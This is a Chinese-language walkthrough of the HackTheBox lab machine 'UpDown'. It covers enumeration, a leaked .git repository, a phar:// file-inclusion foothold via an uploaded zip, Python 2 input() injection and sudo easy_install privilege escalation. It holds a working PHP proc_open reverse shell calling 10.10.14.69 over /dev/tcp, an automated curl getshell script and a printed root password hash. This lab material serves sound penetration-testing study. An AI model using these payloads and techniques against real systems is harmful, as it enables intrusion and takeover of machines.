UpDown

TelBo_on published on
6 min, 1123 words

Categories: OSCP

Recon

Ports

rustscan -a siteisup.htb -r 20-10000
.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog         :
: https://github.com/RustScan/RustScan :
 --------------------------------------
Scanning ports: The virtual equivalent of knocking on doors.

[~] The config file is expected to be at "/home/kali/.rustscan.toml"
[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers
[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'. 
Open 10.129.12.244:22:
Open 10.129.12.244:80
[~] Starting Script(s)
[~] Starting Nmap 7.95 ( https://nmap.org ) at 2025-06-12 16:14 CST
Initiating Ping Scan at 16:14
Scanning 10.129.12.244 [4 ports]
Completed Ping Scan at 16:14, 0.32s elapsed (1 total hosts)
Initiating SYN Stealth Scan at 16:14
Scanning siteisup.htb (10.129.12.244) [2 ports]
Discovered open port 80/tcp on 10.129.12.244
Discovered open port 22/tcp on 10.129.12.244
Completed SYN Stealth Scan at 16:14, 0.30s elapsed (2 total ports)
Nmap scan report for siteisup.htb (10.129.12.244)
Host is up, received echo-reply ttl 63 (0.29s latency).
Scanned at 2025-06-12 16:14:42 CST for 0s

PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack ttl 63
80/tcp open  http    syn-ack ttl 63

Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.75 seco

仅开放22,80。 界面如下,存在一个检测网站是否存活的功能点。将siteisup加入hosts文件。 网站架构:

whatweb http://siteisup.htb/                                                                                                     
http://siteisup.htb/ [200 OK] Apache[2.4.41], Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.41 (Ubuntu)], IP[10.129.12.244], Title[Is my Website up ?], X-UA-Compatible[chrome=1]

目录扫描

feroxbuster -u http://siteisup.htb/ -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt 
                                                                                                                                                                                                                                                                                   
 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.11.0
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://siteisup.htb/
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt
 👌  Status Codes          │ All Status Codes!
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ feroxbuster/2.11.0
 💉  Config File           │ /etc/feroxbuster/ferox-config.toml
 🔎  Extract Links         │ true
 🏁  HTTP methods          │ [GET]
 🔃  Recursion Depth       │ 4
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
403      GET        9l       28w      277c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
404      GET        9l       31w      274c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200      GET      320l      675w     5531c http://siteisup.htb/stylesheet.css
200      GET       40l       93w     1131c http://siteisup.htb/
301      GET        9l       28w      310c http://siteisup.htb/dev => http://siteisup.htb/dev/
200      GET        1l        2w       21c http://siteisup.htb/dev/.git/HEAD
200      GET       13l       35w      298c http://siteisup.htb/dev/.git/config
200      GET        3l       17w      762c http://siteisup.htb/dev/.git/index
200      GET        1l        9w      179c http://siteisup.htb/dev/.git/logs/HEAD
301      GET        9l       28w      315c http://siteisup.htb/dev/.git => http://siteisup.htb/dev/.git/
200      GET        2l        8w      112c http://siteisup.htb/dev/.git/packed-refs
200      GET       40l       93w     1131c http://siteisup.htb/index.php
200      GET        6l       43w      240c http://siteisup.htb/dev/.git/info/exclude
200      GET       17l       71w     1143c http://siteisup.htb/dev/.git/logs/
200      GET        1l       10w       73c http://siteisup.htb/dev/.git/description
200      GET       14l       69w      424c http://siteisup.htb/dev/.git/hooks/pre-applypatch.sample
200      GET      169l      798w     4898c http://siteisup.htb/dev/.git/hooks/pre-rebase.sample
200      GET       24l       83w      544c http://siteisup.htb/dev/.git/hooks/pre-receive.sample
200      GET       42l      238w     1492c http://siteisup.htb/dev/.git/hooks/prepare-commit-msg.sample
200      GET       49l      279w     1643c http://siteisup.htb/dev/.git/hooks/pre-commit.sample
200      GET      128l      546w     3650c http://siteisup.htb/dev/.git/hooks/update.sample
200      GET       53l      234w     1374c http://siteisup.htb/dev/.git/hooks/pre-push.sample
200      GET        8l       32w      189c http://siteisup.htb/dev/.git/hooks/post-update.sample
200      GET       78l      499w     2783c http://siteisup.htb/dev/.git/hooks/push-to-checkout.sample
200      GET       13l       67w      416c http://siteisup.htb/dev/.git/hooks/pre-merge-commit.sample
200      GET       15l       79w      478c http://siteisup.htb/dev/.git/hooks/applypatch-msg.sample
200      GET      173l      669w     4655c http://siteisup.htb/dev/.git/hooks/fsmonitor-watchman.sample
200      GET       24l      163w      896c http://siteisup.htb/dev/.git/hooks/commit-msg.sample
200      GET        0l        0w        0c http://siteisup.htb/dev/index.php

存在index.php文件说明目标为php环境且dev目录下存在.git泄露,dump下来。

git-dumper http://siteisup.htb/dev/ git 
[-] Testing http://siteisup.htb/dev/.git/HEAD [200]
[-] Testing http://siteisup.htb/dev/.git/ [200]
[-] Fetching .git recursively
[-] Fetching http://siteisup.htb/dev/.gitignore [404]
...

vhost爆破

gobuster vhost -u http://siteisup.htb/ -w /usr/share/wordlists/seclists/Discovery/DNS/n0kovo_subdomains.txt --append-domain
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:             http://siteisup.htb/
[+] Method:          GET
[+] Threads:         10
[+] Wordlist:        /usr/share/wordlists/seclists/Discovery/DNS/n0kovo_subdomains.txt
[+] User Agent:      gobuster/3.6
[+] Timeout:         10s
[+] Append Domain:   true
===============================================================
Starting gobuster in VHOST enumeration mode
===============================================================
Found: dev.siteisup.htb Status: 403 [Size: 281]****

存在dev子域名。加入hosts访问 禁止访问。 对主页面的功能点进行测试,过滤了几乎所有特殊字符 查看.git文件泄露的内容

ls -la
总计 40
drwxrwxr-x 3 xz xz 4096  6月12日 16:45 .
drwxrwxr-x 5 xz xz 4096  6月12日 16:44 ..
-rw-rw-r-- 1 xz xz   59  6月12日 16:45 admin.php
-rw-rw-r-- 1 xz xz  147  6月12日 16:45 changelog.txt
-rw-rw-r-- 1 xz xz 3145  6月12日 16:45 checker.php
drwxrwxr-x 7 xz xz 4096  6月12日 16:45 .git
-rw-rw-r-- 1 xz xz  117  6月12日 16:45 .htaccess
-rw-rw-r-- 1 xz xz  273  6月12日 16:45 index.php
-rw-rw-r-- 1 xz xz 5531  6月12日 16:45 stylesheet.css

在.htaccess文件下发现:

 cat .htaccess
SetEnvIfNoCase Special-Dev "only4dev" Required-Header
Order Deny,Allow
Deny from All
Allow from env=Required-Header

指定了一个Required-Header:Special-Dev: only4dev。留待备用。 changelog.txt文件内容。

cat changelog.txt 
Beta version

1- Check a bunch of websites.

-- ToDo:

1- Multithreading for a faster version :D.
2- Remove the upload option.
3- New admin panel.

有个上传功能,但目前已知主页未发现此功能点。继续查看源码 admin.php无内容,

cat admin.php 
<?php
if(DIRECTACCESS){
        die("Access Denied");
}

#ToDo
?>

checker.php中存在文件上传相关逻辑代码,且存在:

<?php                                                               
if(DIRECTACCESS){                                                   
        die("Access Denied");          
}                                                                                  
?> 

直接访问是禁止的,dev域名存在此限制。添加htaccess文件下发现的Required-Header:Special-Dev: only4dev,再次访问,进入了dev子域名下的界面。

This is only for developers
Admin Panel

Welcome,
Is My Website UP ?

In this version you are able to scan a list of websites !

List of websites to check:

[                                                  ] [Check]
siteisup.htb (beta)


changelog.txt

对checker.php上传功能点代码进行审计:

function isitup($url){        
        $ch=curl_init();                
        curl_setopt($ch, CURLOPT_URL, trim($url));                                                                                       
        curl_setopt($ch, CURLOPT_USERAGENT, "siteisup.htb beta");
        curl_setopt($ch, CURLOPT_HEADER, 1);
        curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);                
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
        curl_setopt($ch, CURLOPT_TIMEOUT, 30);
        $f = curl_exec($ch);                            
        $header = curl_getinfo($ch);                                                                                                     
        if($f AND $header['http_code'] == 200){
                return array(true,$f);
        }else{                                                      
                return false;
        }
    curl_close($ch);                                                
}                                      
       

isitup函数对传入的url参数设置了一系列的option后执行了curl_exec函数。在 PHP 中调用 curl_exec()libcurl 会将整个字符串作为 URL 解析发送,无法执行系统命令。 接下来检测post参数check,满足条件则继续,对文件大小存在限制(<10000),获取文件后缀对之进行正则匹配,满足正则表达式/php|php[0-9]|html|py|pl|phtml|zip|rar|gz|gzip|tar/i则报错。后续将文件存放在uploads/md5(time())/下,后续通过exolode函数读取文件内容后调用isitup函数,输出结果。在调用isitup函数前会对内容进行检测是否为file,ftp,data协议开头。最后会@unlink删除上传文件。

if($_POST['check']){
     
        # File size must be less than 10kb.
        if ($_FILES['file']['size'] > 10000) {
        die("File too large!");
    }                                                               
        $file = $_FILES['file']['name'];
                                                                    
        # Check if extension is allowed.                            
        $ext = getExtension($file);    
        if(preg_match("/php|php[0-9]|html|py|pl|phtml|zip|rar|gz|gzip|tar/i",$ext)){                                                     
                die("Extension not allowed!");
        }        
                             
        # Create directory to upload our file.
        $dir = "uploads/".md5(time())."/";
        if(!is_dir($dir)){
        mkdir($dir, 0770, true);
    }                                                               
        
  # Upload the file.        
        $final_path = $dir.$file;                           
        move_uploaded_file($_FILES['file']['tmp_name'], "{$final_path}");       
                                                                    
  # Read the uploaded file.
        $websites = explode("\n",file_get_contents($final_path));   
                                                                    
        foreach($websites as $site){                                
                $site=trim($site);      
                if(!preg_match("#file://#i",$site) && !preg_match("#data://#i",$site) && !preg_match("#ftp://#i",$site)){                
                        $check=isitup($site);                                                                                            
                        if($check){                                                                                                      
                                echo "<center>{$site}<br><font color='green'>is up ^_^</font></center>";                                 
                        }else{
                                echo "<center>{$site}<br><font color='red'>seems to be down :(</font></center>";                         
                        }                     
                }else{                         
                        echo "<center><font color='red'>Hacking attempt was detected !</font></center>";                                 
                }                                                                                                                        
        }                                                                              
  # Delete the uploaded file.
        @unlink($final_path);                                       
}  

Exploit

下面开始测试功能点,禁止上传zip等包。使用任意后缀构造一个zip文件的文件进行上传测试。

 touch test.txt
 zip test.zip ./test.txt
 cp test.zip test.go

观察返回值:PK是zip文件开头的字节,说明尝试了解析文件。但是我的文件内容为空,依旧返回了seems to be down :(,这里很可疑。(猜测脚本由于解析了zip文件导致原有逻辑被打乱未执行到@unlink删除步骤。) 查看uploads下是否存在内容: 居然存在,且能够访问其中的内容。但是由于未能解压缩成功导致无法读取文件test.txt。 这里卡住了一会,翻了翻git目录发现还有一个index.php没看

cat index.php 
<b>This is only for developers</b>
<br>
<a href="?page=admin">Admin Panel</a>
<?php
        define("DIRECTACCESS",false);
        $page=$_GET['page'];
        if($page && !preg_match("/bin|usr|home|var|etc/i",$page)){
                include($_GET['page'] . ".php");
        }else{
                include("checker.php");
        }
?>

存在参数page和include函数,则我们可以利用page参数使用Phar伪协议读取上传的zip文件中的php代码,进行包含调用。 创建文件:

cat in.php 
<?php phpinfo(); ?>

zip info.zip ./in.php 
  adding: in.php (stored 0%)

成功访问。 这里我们进行RCE需要知道哪些函数我们可以利用,需要看phpinfo里的disable_function字段,我们可以选择扒下来用ai分析,或者使用如下类似工具,此工具使用的python2环境,而kaili缺少相应的包,我使用AI将此脚本转换为了python3格式。

python3 ./dfunc-bypasser.py --url 'http://dev.siteisup.htb/?page=phar://uploads/d35a3d5f859e981d665970c971bd8b3f/file.xz/in'


                                ,---,     
                                  .'  .' `\   
                                  ,---.'     \  
                                  |   |  .`\  | 
                                  :   : |  '  | 
                                  |   ' '  ;  : 
                                  '   | ;  .  | 
                                  |   | :  |  ' 
                                  '   : | /  ;  
                                  |   | '` ,/   
                                  ;   :  .'     
                                  |   ,.'       
                                  '---'         


                        authors: __c3rb3ru5__, $_SpyD3r_$


[!] The following functions are **not** disabled and may be exploitable:
proc_open

运行后可知可使用proc_open函数进行RCE。构造最小化payload。

abuse `proc_open` create revshell shell.php and zip it as shell.xz
<?php
$command = "/bin/bash -c '/bin/bash -i >& /dev/tcp/10.10.14.69/4444 0>&1'";
$descriptorspec = array(
   0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
  1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
   2 => array("pipe", "w")   // stderr is a pipe that the child will write to
);

$process = proc_open($command, $descriptorspec, $pipes);
?>

依照刚才的操作执行,getshell。

User

得到www-data的shell,进行信息搜集。 在/home/developer的目录下发现存在目录dev,属组为www-data。

www-data@updown:/home/developer/dev$ ls -al
ls -al
total 32
drwxr-x--- 2 developer www-data   4096 Jun 22  2022 .
drwxr-xr-x 6 developer developer  4096 Aug 30  2022 ..
-rwsr-x--- 1 developer www-data  16928 Jun 22  2022 siteisup
-rwxr-x--- 1 developer www-data    154 Jun 22  2022 siteisup_test.py
www-data@updown:/home/developer/dev$ file siteisup
file siteisup
siteisup: setuid ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=b5bbc1de286529f5291b48db8202eefbafc92c1f, for GNU/Linux 3.2.0, not stripped

www-data@updown:/home/developer/dev$ cat siteisup_
cat siteisup_test.py 
import requests

url = input("Enter URL here:")
page = requests.get(url)
if page.status_code == 200:
        print "Website is up"
else:
        print "Website is down"

www-data@updown:/home/developer/dev$ strings siteisup
/lib64/ld-linux-x86-64.so.2
libc.so.6           
puts       
setresgid
setresuid  
system                   
getegid                    
geteuid
__cxa_finalize
__libc_start_main
GLIBC_2.2.5
_ITM_deregisterTMCloneTable
__gmon_start__    
_ITM_registerTMCloneTable
u+UH     
[]A\A]A^A_
Welcome to 'siteisup.htb' application
**/usr/bin/python /home/developer/dev/siteisup_test.py**
:*3$"         
GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.1) 9.4.0
crtstuff.c
deregister_tm_clones
__do_global_dtors_aux
completed.8061
__do_global_dtors_aux_fini_array_entry
frame_dummy
__frame_dummy_init_array_entry
siteisup.c   
__FRAME_END__
__init_array_end
_DYNAMIC   
__init_array_start
__GNU_EH_FRAME_HDR
_GLOBAL_OFFSET_TABLE_
__libc_csu_fini
_ITM_deregisterTMCloneTable 

二进制程序存在此信息:/usr/bin/python /home/developer/dev/siteisup_test.py。我们能传入可控参数URL,能否利用这点?

poc

尝试动态加载python库os。

www-data@updown:/home/developer/dev$ ./siteisup
./siteisup
__import__('os').system('id')
uid=1002(developer) gid=33(www-data) groups=33(www-data)

可行,but why?待会分析。直接/bin/bash获得shell,但不完整。写ssh私钥获取developer的shell。

Root

sudo -l 发现easy_install。

developer@updown:~$ sudo -l
Matching Defaults entries for developer on localhost:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User developer may run the following commands on localhost:
    (ALL) NOPASSWD: /usr/local/bin/easy_install

运行发现:

developer@updown:~$ /usr/local/bin/easy_install
error: can't create or remove files in install directory

The following error occurred while trying to add or remove files in the
installation directory:

    [Errno 13] Permission denied: '/usr/local/lib/python2.7/dist-packages/test-easy-install-2935.write-test'

The installation directory you specified (via --install-dir, --prefix, or
the distutils default setting) was:

    /usr/local/lib/python2.7/dist-packages/

Perhaps your account does not have write access to this directory?  If the
installation directory is a system-owned directory, you may need to sign in
as the administrator or "root" account.  If you do not have administrative
access to this machine, you may wish to choose a different installation
directory, preferably one that is listed in your PYTHONPATH environment
variable.

For information on other options, you may wish to consult the
documentation at:

  https://setuptools.readthedocs.io/en/latest/easy_install.html

Please make the appropriate changes for your system and try again.

搜索得知easy_install是python在使用pip之前的包管理器。可以提权

developer@updown:~$ sudo easy_install $TF
WARNING: The easy_install command is deprecated and will be removed in a future version.
Processing tmp.5tfTxHZsbu
Writing /tmp/tmp.5tfTxHZsbu/setup.cfg
Running setup.py -q bdist_egg --dist-dir /tmp/tmp.5tfTxHZsbu/egg-dist-tmp-kJDOMa
# whoami
root
# 
`root:$6$35UwqDmGM31K3z1O$EV0yHaLbvEqQ1YfxHOl4fMFHnR0O0Lo7RSnFGpYdfUwBmec0/5JWenL6GLivYgeka8Z4XyYW2UhWOV5UOdK0w.:19165:0:99999:7:::`

Summary

基础web路径,但考察点很多:

  1. phar伪协议搭配文件包含RCE。
  2. python 2.x 动态导入库执行任意命令。
  3. easy-install 提权。

Beyond

  1. 一键getshell脚本。不一定需要bp抓包,直接上curl,-F参数上传文件。
#!/bin/bash

#abuse `proc_open` create revshell shell.php and zip it as shell.xz
#<?php
#$command = "/bin/bash -c '/bin/bash -i >& /dev/tcp/10.10.14.69/4444 0>&1'";
#$descriptorspec = array(
#   0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
#  1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
#   2 => array("pipe", "w")   // stderr is a pipe that the child will write to
#);
#
#$process = proc_open($command, $descriptorspec, $pipes);
#?>

#zip shell.xz ./shell.php

#upload zip archive
curl  -X POST http://dev.siteisup.htb/ -F "file=@shell.xz" -F "check=check" -H "Special-Dev: only4dev"

#lookup webpath
web_path=$(curl -s 'http://dev.siteisup.htb/uploads/' -H 'Special-Dev: only4dev' | grep -oE '\<[0-9a-f]{32}\>' | uniq | tail -n1)

echo -e "find the md5hash path:\n$web_path"
#getshell
curl -s "http://dev.siteisup.htb/?page=phar://uploads/$web_path/shell.xz/shell" -H 'Special-Dev: only4dev'

printf "=%.0s" {1..20}
echo "[*]execute successful,wait the shell[*]"

  1. 书接上问,为什么能通过动态导入提权?

查询得知,python2.x中的input函数将传入数据当成一个python表达式进行求值,也就是先执行一遍,再拼接原语句。若需修复,则需将inpu函数换为raw_input(),避免解释执行。